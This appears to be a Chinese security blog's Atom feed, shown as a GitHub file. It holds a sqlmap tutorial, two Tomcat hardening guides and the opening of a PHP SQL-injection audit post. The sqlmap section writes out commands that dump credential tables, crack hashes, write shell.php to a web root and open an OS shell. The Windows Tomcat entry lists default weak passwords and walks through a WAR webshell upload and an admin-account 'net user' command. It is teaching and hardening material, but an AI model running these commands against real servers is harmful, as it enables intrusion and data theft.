-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
672 lines (514 loc) · 284 KB
/
atom.xml
File metadata and controls
672 lines (514 loc) · 284 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Braid's Blog</title>
<subtitle>攻城狮,黑客,网络安全爱好者</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://www.cnbraid.com/"/>
<updated>2016-06-24T01:33:36.061Z</updated>
<id>http://www.cnbraid.com/</id>
<author>
<name>Braid信息安全博客</name>
<email>hackbraid@gmail.com</email>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>sqlmap基础</title>
<link href="http://www.cnbraid.com/2016/06/20/sqlmap%E5%9F%BA%E7%A1%80/"/>
<id>http://www.cnbraid.com/2016/06/20/sqlmap基础/</id>
<published>2016-06-20T02:39:50.000Z</published>
<updated>2016-06-24T01:33:36.061Z</updated>
<content type="html"><h2 id="0x01_sqlmap简介">0x01 sqlmap简介</h2><p>SQLMAP是一个开源的渗透测试工具,它主要用于自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。SQLMAP配有强大的侦测引擎,适用于高级渗透测试用户,不仅可以获得不同数据库的指纹信息,还可以从数据库中提取数据,此外还能够处理潜在的文件系统以及通过数据连接执行系统命令等,所以SQLMAP是渗透测试者必备的一项工具,而这篇分享正式对sqlmap基础用法和一些深入的高级用法进行讲解。<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmaplogo.png" alt=""><br><a id="more"></a></p>
<h2 id="0x02_一个案例">0x02 一个案例</h2><p><a href="http://codeaudit.org/sqltest/news.php?id=1" target="_blank" rel="external">http://codeaudit.org/sqltest/news.php?id=1</a><br>当给sqlmap这么一个url的时候,它会做如下工作(功能):</p>
<blockquote>
<p>1、识别出哪种数据库<br>2、判断可注入的参数<br>3、判断可以用那种SQL注入技术来注入<br>4、根据用户选择,读取哪些数据</p>
</blockquote>
<p>我们打开sqlmap跑一下上面这个url,首先他识别出来是MySQL数据库如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmap0.jpg" alt=""><br>识别可注入的参数,这里就是参数id如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmap2.jpg" alt=""><br>判断那种SQL注入技术来进行注入,如下图,id这个注入点支持布尔型盲注、报错注入、基于时间的盲注和联合查询注入这四种类型<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmap3.jpg" alt=""></p>
<h3 id="获取数据库用户名">获取数据库用户名</h3><p>python sqlmap.py -u “<a href="http://codeaudit.org/sqltest/news.php?id=1" target="_blank" rel="external">http://codeaudit.org/sqltest/news.php?id=1</a>“ —current-user<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmap4.jpg" alt=""></p>
<h3 id="获取当前的数据库">获取当前的数据库</h3><p>python sqlmap.py -u “<a href="http://codeaudit.org/sqltest/news.php?id=1" target="_blank" rel="external">http://codeaudit.org/sqltest/news.php?id=1</a>“ —current-db<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmap5.jpg" alt=""></p>
<h3 id="获取当前数据库中所有的表">获取当前数据库中所有的表</h3><p>python sqlmap.py -u “<a href="http://codeaudit.org/sqltest/news.php?id=1" target="_blank" rel="external">http://codeaudit.org/sqltest/news.php?id=1</a>“ -D test —tables<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmap6.jpg" alt=""></p>
<h3 id="获取当前数据库中某个表的表结构">获取当前数据库中某个表的表结构</h3><p>python sqlmap.py -u “<a href="http://codeaudit.org/sqltest/news.php?id=1" target="_blank" rel="external">http://codeaudit.org/sqltest/news.php?id=1</a>“ -D test -T admin —columns<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmap7.jpg" alt=""></p>
<h3 id="Dump数据(脱裤)">Dump数据(脱裤)</h3><p>python sqlmap.py -u “<a href="http://codeaudit.org/sqltest/news.php?id=1" target="_blank" rel="external">http://codeaudit.org/sqltest/news.php?id=1</a>“ -D test -T admin -C name,pass —dump<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmap8.jpg" alt=""></p>
<h2 id="0x03_检测端相关的参数">0x03 检测端相关的参数</h2><h3 id="检测POST请求中的参数">检测POST请求中的参数</h3><p>参数:—data<br>此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。<br>例子:<br>python sqlmap.py -u “<a href="http://codeaudit.org/sqltest/news.php" target="_blank" rel="external">http://codeaudit.org/sqltest/news.php</a>“ —data=”id=1”</p>
<h3 id="检测COOKIE请求中的参数">检测COOKIE请求中的参数</h3><p>参数:—cookie,—load-cookies,—drop-set-cookie<br>这个参数在以下两个方面很有用:<br>1、注入点是需要登陆后才可以注入的时候。<br>2、需要测试cookie里参数的注入时。<br>可以通过抓包把cookie获取到,复制出来,然后加到—cookie参数里。<br>例子:<br>python sqlmap.py -u “<a href="http://codeaudit.org/sqltest/news.php?id=1" target="_blank" rel="external">http://codeaudit.org/sqltest/news.php?id=1</a>“ —cookie=”sessionid=7f658c3b91d10ae”<br>当设置—level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。<br>PS:还可以设置HTTP User-Agent头、Referer头或者额外的HTTP头并进行相应的头部注入,自行查询。</p>
<h3 id="指定测试参数">指定测试参数</h3><p>参数:-p,—skip<br>sqlmap默认测试所有的GET和POST参数,但是你可以手动用-p参数设置想要测试的参数。例如: -p “id,user-anget”<br>当你使用—level的值很大但是有个别参数不想测试的时候可以使用—skip参数。<br>例如:—skip=”user-angent.referer”<br>在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加<em><br>例如:<br>python sqlmap.py -u “<a href="http://targeturl/param1/value1" target="_blank" rel="external">http://targeturl/param1/value1</a></em>/param2/value2/“<br>sqlmap将会测试value1的位置是否可注入。<br>指定数据库**<br>参数:—dbms<br>默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:<br>MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2</p>
<h3 id="注入payload">注入payload</h3><p>参数:—prefix,—suffix<br>在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。<br>例如,代码中是这样调用数据库的:<br>$query = “SELECT <em> FROM users WHERE id=(’” . $_GET[’id’] . “’) LIMIT 0, 1”;<br>这时你就需要—prefix和—suffix参数了:<br>python sqlmap.py -u “<a href="http://targeturl/sqlmap/mysql/get_str_brackets.php?id=1" target="_blank" rel="external">http://targeturl/sqlmap/mysql/get_str_brackets.php?id=1</a>“ -p id —prefix “’)” —suffix “AND (’abc’=’abc”<br>这样执行的SQL语句变成:<br>$query = “SELECT </em> FROM users WHERE id=(’1’) <payload> AND (’abc’=’abc’) LIMIT 0, 1”; </payload></p>
<h3 id="指定数据库服务器系统">指定数据库服务器系统</h3><p>参数:—os<br>默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。</p>
<h3 id="指定sqlmap的探测技术">指定sqlmap的探测技术</h3><p>参数:—technique<br>这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。<br>支持的探测方式如下:</p>
<blockquote>
<p>B: Boolean-based blind SQL injection(布尔型注入)<br>E: Error-based SQL injection(报错型注入)<br>U: UNION query SQL injection(可联合查询注入)<br>S: Stacked queries SQL injection(可多语句查询注入)<br>T: Time-based blind SQL injection(基于时间延迟注入)</p>
</blockquote>
<h3 id="设定延迟注入的时间">设定延迟注入的时间</h3><p>参数:—time-sec<br>当使用继续时间的盲注时,时刻使用—time-sec参数设定延时时间,默认是5秒。</p>
<h3 id="探测等级">探测等级</h3><p>参数:—level<br>共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。<br>这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。<br>总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。</p>
<h3 id="风险等级">风险等级</h3><p>参数:—risk<br>共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。<br>在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。<br>测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。</p>
<h2 id="0x04_数据端相关的参数">0x04 数据端相关的参数</h2><h3 id="当前用户">当前用户</h3><p>参数:-current-user<br>在大多数据库中可以获取到管理数据的用户。</p>
<h3 id="当前数据库">当前数据库</h3><p>参数:—current-db<br>返还当前连接的数据库。</p>
<h3 id="当前用户是否为管理">当前用户是否为管理</h3><p>参数:—is-dba<br>判断当前的用户是否为管理,是的话会返回True。</p>
<h3 id="列数据库管理的用户">列数据库管理的用户</h3><p>参数:—users<br>当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。</p>
<h3 id="列出并破解数据库用户的hash">列出并破解数据库用户的hash</h3><p>参数:—passwords<br>当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。<br>例子:<br>python sqlmap.py -u “<a href="http://codeaudit.org/sqltest/news.php?id=1" target="_blank" rel="external">http://codeaudit.org/sqltest/news.php?id=1</a> —passwords -v 1”<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmap9.jpg" alt=""></p>
<h3 id="列出数据库管理员权限">列出数据库管理员权限</h3><p>参数:—privileges<br>当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。</p>
<h3 id="列出数据库管理员角色">列出数据库管理员角色</h3><p>参数:—roles<br>当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。<br>仅适用于当前数据库是Oracle的时候。</p>
<h3 id="列出数据库系统的数据库">列出数据库系统的数据库</h3><p>参数:—dbs<br>当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。</p>
<h3 id="列举数据库表">列举数据库表</h3><p>参数:—tables,—exclude-sysdbs,-D<br>当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。<br>如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。<br>—exclude-sysdbs参数是指包含了所有的系统数据库。<br>需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。</p>
<h3 id="列举数据库表中的字段">列举数据库表中的字段</h3><p>参数:—columns,-C,-T,-D<br>当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。<br>如果没有使用-D参数指定数据库时,默认会使用当前数据库。</p>
<h3 id="获取表中数据个数">获取表中数据个数</h3><p>参数:—count<br>有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。</p>
<h3 id="运行自定义的SQL语句">运行自定义的SQL语句</h3><p>参数:—sql-query,—sql-shell<br>sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。<br>如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。<br>例子:<br>python sqlmap.py -u “<a href="http://codeaudit.org/sqltest/news.php?id=1" target="_blank" rel="external">http://codeaudit.org/sqltest/news.php?id=1</a> —sql-query”<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmap10.jpg" alt=""></p>
<h2 id="0x05_文件操作相关的参数">0x05 文件操作相关的参数</h2><h3 id="读取文件">读取文件</h3><p>参数:—file-read<br>当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。</p>
<h3 id="将本地的文件写入到web服务器">将本地的文件写入到web服务器</h3><p>参数:—file-write,—file-dest<br>当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。<br>例子:<br>python sqlmap.py -u “<a href="http://codeaudit.org/sqltest/news.php?id=1" target="_blank" rel="external">http://codeaudit.org/sqltest/news.php?id=1</a>“ —file-write=”E:\1.txt” —file-dest=”D:\winsoftware\wamp\www\sqltest\shell.php”<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmap11.jpg" alt=""></p>
<h3 id="运行任意操作系统命令">运行任意操作系统命令</h3><p>参数:—os-cmd,—os-shell<br>当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。<br>在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。<br>那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。<br>例子:<br>python sqlmap.py -u “<a href="http://codeaudit.org/sqltest/news.php?id=1" target="_blank" rel="external">http://codeaudit.org/sqltest/news.php?id=1</a>“ —os-shell<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmap12.jpg" alt=""></p>
<p>主要参考:<a href="http://drops.wooyun.org/tips/143" target="_blank" rel="external">http://drops.wooyun.org/tips/143</a></p>
<p>本文由HackBraid整理总结,原文链接:<a href="http://www.cnbraid.com/2016/06/22/sqlmap基础/">http://www.cnbraid.com/2016/06/22/sqlmap基础/</a>,如需转载请联系作者。</p>
</content>
<summary type="html">
<h2 id="0x01_sqlmap简介">0x01 sqlmap简介</h2><p>SQLMAP是一个开源的渗透测试工具,它主要用于自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。SQLMAP配有强大的侦测引擎,适用于高级渗透测试用户,不仅可以获得不同数据库的指纹信息,还可以从数据库中提取数据,此外还能够处理潜在的文件系统以及通过数据连接执行系统命令等,所以SQLMAP是渗透测试者必备的一项工具,而这篇分享正式对sqlmap基础用法和一些深入的高级用法进行讲解。<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmaplogo.png" alt=""><br>
</summary>
<category term="渗透利器" scheme="http://www.cnbraid.com/categories/%E6%B8%97%E9%80%8F%E5%88%A9%E5%99%A8/"/>
<category term="sqlmap" scheme="http://www.cnbraid.com/tags/sqlmap/"/>
<category term="工具" scheme="http://www.cnbraid.com/tags/%E5%B7%A5%E5%85%B7/"/>
</entry>
<entry>
<title>Linux下tomcat安全配置</title>
<link href="http://www.cnbraid.com/2016/06/17/Linux%E4%B8%8Btomcat%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE/"/>
<id>http://www.cnbraid.com/2016/06/17/Linux下tomcat安全配置/</id>
<published>2016-06-17T06:39:50.000Z</published>
<updated>2016-06-24T08:59:02.283Z</updated>
<content type="html"><h2 id="0x00_删除默认目录">0x00 删除默认目录</h2><p>安装完tomcat后,删除$CATALINA_HOME/webapps下默认的所有目录文件</p>
<figure class="highlight gradle"><table><tr><td class="code"><pre><span class="line">rm -rf <span class="regexp">/srv/</span>apache-tomcat<span class="regexp">/webapps/</span>*</span><br></pre></td></tr></table></figure>
<a id="more"></a>
<h2 id="0x01_用户管理">0x01 用户管理</h2><p>如果不需要通过web部署应用,建议注释或删除tomcat-users.xml下用户权限相关配置</p>
<p><img src="http://static.wooyun.org//drops/20160524/2016052416373714302117.jpg" alt=""></p>
<h2 id="0x02_隐藏tomcat版本信息">0x02 隐藏tomcat版本信息</h2><p>方法一</p>
<p>修改$CATALINA_HOME/conf/server.xml,在Connector节点添加server字段,示例如下</p>
<p><img src="http://static.wooyun.org//drops/20160524/201605241637392245625.jpg" alt=""></p>
<p><img src="http://static.wooyun.org//drops/20160524/201605241637411365536.jpg" alt=""></p>
<p>方法二</p>
<p>修改$CATALINA_HOME/lib/catalina.jar::org/apache/catalina/util/ServerInfo.properties</p>
<p>默认情况下如图</p>
<p><img src="http://static.wooyun.org//drops/20160524/201605241637426629645.jpg" alt=""></p>
<p><img src="http://static.wooyun.org//drops/20160524/201605241637448444455.jpg" alt=""></p>
<p>用户可自定义修改server.info字段和server.number字段,示例修改如下图所示。</p>
<p><img src="http://static.wooyun.org//drops/20160524/201605241637456906065.jpg" alt=""></p>
<p><img src="http://static.wooyun.org//drops/20160524/201605241637477579375.jpg" alt=""></p>
<h2 id="0x03_关闭自动部署">0x03 关闭自动部署</h2><p>如果不需要自动部署,建议关闭自动部署功能。在$CATALINA_HOME/conf/server.xml中的host字段,修改unpackWARs=”false” autoDeploy=”false”。</p>
<p><img src="http://static.wooyun.org//drops/20160524/201605241637481537685.jpg" alt=""></p>
<h2 id="0x04_自定义错误页面">0x04 自定义错误页面</h2><p>修改web.xml,自定义40x、50x等容错页面,防止信息泄露。</p>
<p><img src="http://static.wooyun.org//drops/20160524/201605241637504858695.jpg" alt=""></p>
<h2 id="0x05_禁止列目录(高版本默认已禁止)">0x05 禁止列目录(高版本默认已禁止)</h2><p>修改web.xml</p>
<p><img src="http://static.wooyun.org//drops/20160524/2016052416375139392105.jpg" alt=""></p>
<h2 id="0x06_AJP端口管理">0x06 AJP端口管理</h2><p>AJP是为 Tomcat 与 HTTP 服务器之间通信而定制的协议,能提供较高的通信速度和效率。如果tomcat前端放的是apache的时候,会使用到AJP这个连接器。前端如果是由nginx做的反向代理的话可以不使用此连接器,因此需要注销掉该连接器。</p>
<p><img src="http://static.wooyun.org//drops/20160524/2016052416375323093118.jpg" alt=""></p>
<h2 id="0x07_服务权限控制">0x07 服务权限控制</h2><p>tomcat以非root权限启动,应用部署目录权限和tomcat服务启动用户分离,比如tomcat以tomcat用户启动,而部署应用的目录设置为nobody用户750。</p>
<h2 id="0x08_启用cookie的HttpOnly属性">0x08 启用cookie的HttpOnly属性</h2><p>修改$CATALINA_HOME/conf/context.xml,添加<context usehttponly="true">,如下图所示</context></p>
<p><img src="http://static.wooyun.org//drops/20160524/2016052416375437308125.jpg" alt=""></p>
<p>测试结果</p>
<p><img src="http://static.wooyun.org//drops/20160524/2016052416375527932134.jpg" alt=""></p>
<p><img src="http://static.wooyun.org//drops/20160524/2016052416375763846144.jpg" alt=""></p>
<p>配置cookie的secure属性,在web.xml中sesion-config节点配置cooker-config,此配置只允许cookie在加密方式下传输。</p>
<p><img src="http://static.wooyun.org//drops/20160524/2016052416375941520153.jpg" alt=""></p>
<p>测试结果</p>
<p><img src="http://static.wooyun.org//drops/20160524/2016052416380093567163.jpg" alt=""></p>
<p><strong>注:此文章获得乌云drops授权转载,©乌云知识库版权所有 未经许可 禁止转载</strong><br><strong>文章来源:</strong><br><a href="http://drops.wooyun.org/%E8%BF%90%E7%BB%B4%E5%AE%89%E5%85%A8/15888" target="_blank" rel="external">http://drops.wooyun.org/%E8%BF%90%E7%BB%B4%E5%AE%89%E5%85%A8/15888</a></p>
</content>
<summary type="html">
<h2 id="0x00_删除默认目录">0x00 删除默认目录</h2><p>安装完tomcat后,删除$CATALINA_HOME/webapps下默认的所有目录文件</p>
<figure class="highlight gradle"><table><tr><td class="code"><pre><span class="line">rm -rf <span class="regexp">/srv/</span>apache-tomcat<span class="regexp">/webapps/</span>*</span><br></pre></td></tr></table></figure>
</summary>
<category term="系统加固" scheme="http://www.cnbraid.com/categories/%E7%B3%BB%E7%BB%9F%E5%8A%A0%E5%9B%BA/"/>
<category term="Linux" scheme="http://www.cnbraid.com/tags/Linux/"/>
<category term="tomcat" scheme="http://www.cnbraid.com/tags/tomcat/"/>
<category term="加固" scheme="http://www.cnbraid.com/tags/%E5%8A%A0%E5%9B%BA/"/>
<category term="服务器" scheme="http://www.cnbraid.com/tags/%E6%9C%8D%E5%8A%A1%E5%99%A8/"/>
</entry>
<entry>
<title>Windows下tomcat安全配置</title>
<link href="http://www.cnbraid.com/2016/06/17/tomcat%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE/"/>
<id>http://www.cnbraid.com/2016/06/17/tomcat安全配置/</id>
<published>2016-06-17T02:39:50.000Z</published>
<updated>2016-06-24T08:58:55.443Z</updated>
<content type="html"><h2 id="0x00_Tomcat简介">0x00 Tomcat简介</h2><p>tomcat是一个开源Web服务器,基于Tomcat的Web运行效率高,可以在一般的硬件平台上流畅运行,因此,颇受Web站长的青睐。不过,在默认配置下其存在一定的安全隐患,可被恶意攻击。<br><a id="more"></a></p>
<h2 id="0x01_测试环境">0x01 测试环境</h2><p>Win2003<br>Tomcat6.0.18 安装版</p>
<h2 id="0x02_安全验证">0x02 安全验证</h2><p>一.登陆后台</p>
<p>首先在win2003上部署Tomcat,一切保持默认。</p>
<p>Tomcat的默认后台地址为:<a href="http://域名:端口/manager/html.进入之后弹出登陆对话框,Tomcat默认的用户名admin,密码为空。" target="_blank" rel="external">http://域名:端口/manager/html.进入之后弹出登陆对话框,Tomcat默认的用户名admin,密码为空。</a></p>
<p>Tomcat的一些弱口令:</p>
<blockquote>
<p>tomcat tomcat<br>admin 空<br>admin admin<br>admin 123456</p>
</blockquote>
<p><img src="http://static.wooyun.org//drops/20150909/2015090908440190493.png" alt=""><br>然后来看一下Tomcat安装版默认的tomacat-users.xml配置文件<br><img src="http://static.wooyun.org//drops/20150909/2015090908440294106.png" alt=""><br>注:Linux平台及Windows平台免安装版本不受该漏洞影响。</p>
<p>二.获取Webshell</p>
<p>在Tomcat的后台有个WAR file to deploy模块,通过其可以上传WAR文件。Tomcat可以解析WAR文件,能够将其解压并生成web文件。<br><img src="http://static.wooyun.org//drops/20150909/2015090908440250032.png" alt=""><br>我们将一个jsp格式的webshell用WinRar打包然后将其后缀改名为WAR(本例为no.war),这样;一个WAR包就生成了。最后将其上传到服务器,可以看到在Tomcat的后台中多了一个名为/no的目录。<br><img src="http://static.wooyun.org//drops/20150909/2015090908440248016.png" alt=""><br>点击该目录打开该目录jsp木马就运行了,这样就获得了一个Webshell。<br><img src="http://static.wooyun.org//drops/20150909/2015090908440279290.png" alt=""></p>
<p>三.获取服务器权限</p>
<p>Tomcat服务默认是以system权限运行的,因此该jsp木马就继承了其权限,几乎可以对Web服务器进行所有的操作。<br><img src="http://static.wooyun.org//drops/20150909/2015090908440219147.png" alt=""><br>然后创建用户: net user Boom shellcode /add</p>
<p>添加到管理员用户组: net localgroup administrators Boom /add<br><img src="http://static.wooyun.org//drops/20150909/2015090908440298603.png" alt=""><br>然后可以干什么事我就不说了</p>
<h2 id="0x03_安全配置">0x03 安全配置</h2><p>一.修改tomacat-users.xml或删除Tomcat后台</p>
<p>修改\conf\tomacat-users.xml<br><img src="http://static.wooyun.org//drops/20150909/2015090908440273000.png" alt=""></p>
<p>删除Tomcat后台 \webapps全部删除就好。</p>
<p>二.禁止列目录</p>
<p>在IIS中如果设置不当,就会列出Web当前目录中的所有文件,然而在Tomcat也不例外。如果浏览者可以在客户端浏览Web目录,那将会存在较大的安全隐患,因此我们要确认Tomcat的设置中禁止列目录。\conf\web.xml下</p>
<p><init-param></init-param></p>
<p><param-name>listings</param-name></p>
<p><param-value>false</param-value><br> <br>确认是false而不是true。</p>
<p><img src="http://static.wooyun.org//drops/20150909/2015090908440329796.png" alt=""></p>
<p>三.服务降权</p>
<p>默认安装时Tomcat是以系统服务权限运行的,因此缺省情况下几乎所有的Web服务器的管理员都具有Administrator权限,存在极大的安全隐患,所以我们的安全设置首先从Tomcat服务降权开始。</p>
<p>首先创建一个普通用户,为其设置密码,将其密码策略设置为“密码永不过期”,比如我们创建的用户为tomcat。然后修改tomcat安装文件夹的访问权限,为tomcat赋予Tomcat文件夹的读、写、执行的访问权限,赋予Tomcat对WebApps文件夹的只读访问权限,如果某些Web应用程序需要写访问权限,单独为其授予对那个文件夹的写访问权限。</p>
<p><img src="http://static.wooyun.org//drops/20150909/2015090908440328686.png" alt=""></p>
<p>“开始→运行”,输入services.msc打开服务管理器,找到Apache Tomcat服务,双击打开该服务的属性,在其实属性窗口中点击“登录”选项卡,在登录身份下选中“以此帐户”,然后在文本框中输入tomcat和密码,最后“确定”并重启服务器。这样tomcat就以tomcat这个普通用户的权限运行。</p>
<p><img src="http://static.wooyun.org//drops/20150909/2015090908440373699.png" alt=""></p>
<p>然后重启服务,就生效了。这样普通用户tomcat运行的Tomcat其权限就大大地降低了,就算是攻击者获得了Webshell也不能进一步深入,从而威胁web服务器的安全。</p>
<p>四.关闭war自动部署</p>
<p>关闭war自动部署 unpackWARs=”false” autoDeploy=”false”。防止被植入木马等恶意程序</p>
<p>应用程序部署与tomcat启动,不能使用同一个用户。</p>
<p><img src="http://static.wooyun.org//drops/20150909/2015090908440348885.png" alt=""></p>
<p><strong>注:此文章获得乌云drops授权转载,©乌云知识库版权所有 未经许可 禁止转载</strong><br><strong>文章来源:</strong><br><a href="http://drops.wooyun.org/%E8%BF%90%E7%BB%B4%E5%AE%89%E5%85%A8/8519" target="_blank" rel="external">http://drops.wooyun.org/%E8%BF%90%E7%BB%B4%E5%AE%89%E5%85%A8/8519</a></p>
</content>
<summary type="html">
<h2 id="0x00_Tomcat简介">0x00 Tomcat简介</h2><p>tomcat是一个开源Web服务器,基于Tomcat的Web运行效率高,可以在一般的硬件平台上流畅运行,因此,颇受Web站长的青睐。不过,在默认配置下其存在一定的安全隐患,可被恶意攻击。<br>
</summary>
<category term="系统加固" scheme="http://www.cnbraid.com/categories/%E7%B3%BB%E7%BB%9F%E5%8A%A0%E5%9B%BA/"/>
<category term="Windows" scheme="http://www.cnbraid.com/tags/Windows/"/>
<category term="tomcat" scheme="http://www.cnbraid.com/tags/tomcat/"/>
<category term="加固" scheme="http://www.cnbraid.com/tags/%E5%8A%A0%E5%9B%BA/"/>
<category term="服务器" scheme="http://www.cnbraid.com/tags/%E6%9C%8D%E5%8A%A1%E5%99%A8/"/>
</entry>
<entry>
<title>【PHP代码审计】 那些年我们一起挖掘SQL注入 - 8.全局防护盲点的总结下篇</title>
<link href="http://www.cnbraid.com/2016/05/31/sql7/"/>
<id>http://www.cnbraid.com/2016/05/31/sql7/</id>
<published>2016-05-31T02:35:00.000Z</published>
<updated>2016-06-24T08:55:10.707Z</updated>
<content type="html"><h2 id="0x01_背景">0x01 背景</h2><p>现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,接上篇<a href="http://www.cnbraid.com/2016/05/10/sql6/">http://www.cnbraid.com/2016/05/10/sql6/</a>,这里介绍另外两种情况。<br><strong>盲点如下:</strong><br>①FILES注入,全局只转义掉GET、POST等传来的参数,遗漏了FILES;<br>②变量覆盖,危险函数:extract()、parse_str()、$$。<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlmangdian2.jpg" alt=""><br><a id="more"></a></p>
